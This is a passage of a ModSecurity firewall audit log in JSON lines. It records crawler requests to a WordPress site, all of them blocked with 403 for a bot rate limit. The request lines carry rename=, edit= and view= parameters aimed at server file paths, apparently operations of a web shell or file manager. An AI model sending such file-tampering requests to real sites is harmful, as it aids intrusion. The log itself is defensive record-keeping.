1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11014775"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bd1317bc6db9f04fd71a0a786e36080c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/dashboard.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":223,"p2":1808,"p3":0,"p4":0,"p5":304,"sr":105,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:03.410696 +0100","transaction_id":"abPgXzPdmgxGrrIlyaIlpAAAAJY","remote_address":"216.73.216.152","remote_port":34444,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fwidgets.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a94c1f7201aa221d86d28480251cc381","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10388127"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a94c1f7201aa221d86d28480251cc381","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/widgets.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":398,"p2":3056,"p3":0,"p4":0,"p5":632,"sr":138,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:03.567015 +0100","transaction_id":"abPgXzPdmgxGrrIlyaIlpwAAAII","remote_address":"216.73.216.152","remote_port":39790,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fsite-icon.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"655a32ac8fcadb2847cd2a5600dc6f3f","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11079669"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Upgrade":"h2,h2c","Connection":"Upgrade","Accept-Ranges":"bytes","X-Orig-Rid":"655a32ac8fcadb2847cd2a5600dc6f3f","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/site-icon.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":393,"p2":4967,"p3":0,"p4":0,"p5":1363,"sr":182,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:03.614088 +0100","transaction_id":"abPgX1H1YMuwIMtyvU1cLgAAAcE","remote_address":"216.73.216.152","remote_port":39788,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fapplication-passwords.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"7f5c2572fc4cea66c317358b9f950d35","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15270876"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"7f5c2572fc4cea66c317358b9f950d35","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/application-passwords.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":372,"p2":3841,"p3":0,"p4":0,"p5":591,"sr":168,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:03.892961 +0100","transaction_id":"abPgXzT0M4xfGsNBJdw-wwAAAU8","remote_address":"216.73.216.152","remote_port":39970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fdashboard.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bd79125492145d348556079f1bbe4547","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11079672"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bd79125492145d348556079f1bbe4547","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/dashboard.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":300,"p2":13344,"p3":0,"p4":0,"p5":571,"sr":9917,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:03.912873 +0100","transaction_id":"abPgXzT0M4xfGsNBJdw-xAAAAU8","remote_address":"216.73.216.152","remote_port":39970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fupdates.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"75411e2994e697fd8ffa1ceb58f07395","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6720567"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"75411e2994e697fd8ffa1ceb58f07395","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/updates.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":312,"p2":4170,"p3":0,"p4":0,"p5":995,"sr":163,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:03.942362 +0100","transaction_id":"abPgXzT0M4xfGsNBJdw-xQAAAU8","remote_address":"216.73.216.152","remote_port":39970,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Firis.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e914d185a8d09609f469d535a678e750","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11079675"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e914d185a8d09609f469d535a678e750","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/iris.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":467,"p2":2851,"p3":0,"p4":0,"p5":477,"sr":146,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.019120 +0100","transaction_id":"abPgYDPdmgxGrrIlyaIlqQAAAIQ","remote_address":"216.73.216.152","remote_port":33450,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fxfn.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2db8601f13824e6d519677d5e46b6eb8","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11079678"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2db8601f13824e6d519677d5e46b6eb8","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/xfn.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":322,"p2":5046,"p3":0,"p4":0,"p5":1953,"sr":181,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.031488 +0100","transaction_id":"abPgYDPdmgxGrrIlyaIlqgAAAIQ","remote_address":"216.73.216.152","remote_port":33450,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fcolor-picker.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2aa56faa8136c54f78461333489c0f61","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15270879"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2aa56faa8136c54f78461333489c0f61","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/color-picker.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":292,"p2":3008,"p3":0,"p4":0,"p5":466,"sr":149,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.106296 +0100","transaction_id":"abPgYDPdmgxGrrIlyaIlrAAAAIQ","remote_address":"216.73.216.152","remote_port":33450,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fset-post-thumbnail.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"ecaacf94d821ffd4bb164a791bc357a0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"15270882"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"ecaacf94d821ffd4bb164a791bc357a0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/set-post-thumbnail.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":352,"p2":3666,"p3":0,"p4":0,"p5":1125,"sr":179,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.199072 +0100","transaction_id":"abPgYFH1YMuwIMtyvU1cMQAAAdc","remote_address":"216.73.216.152","remote_port":34410,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fjs%2Fword-count.min.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"d94b9e0c48a68041d5af6c50b7a624c6","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11245894"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"d94b9e0c48a68041d5af6c50b7a624c6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/js/word-count.min.js& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":309,"p2":3704,"p3":0,"p4":0,"p5":570,"sr":165,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:11:01:04.292839 +0100","transaction_id":"abPgYFQCd8W53Be-qe970gAAAhI","remote_address":"216.73.216.152","remote_port":54486,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fexec_dir%2Fmodule.cgi HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0a2f821c9291c342d818244581fd4168","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13764779"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0a2f821c9291c342d818244581fd4168","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/exec_dir/module.cgi& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":360,"p2":4321,"p3":0,"p4":0,"p5":1487,"sr":270,"sw":90,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
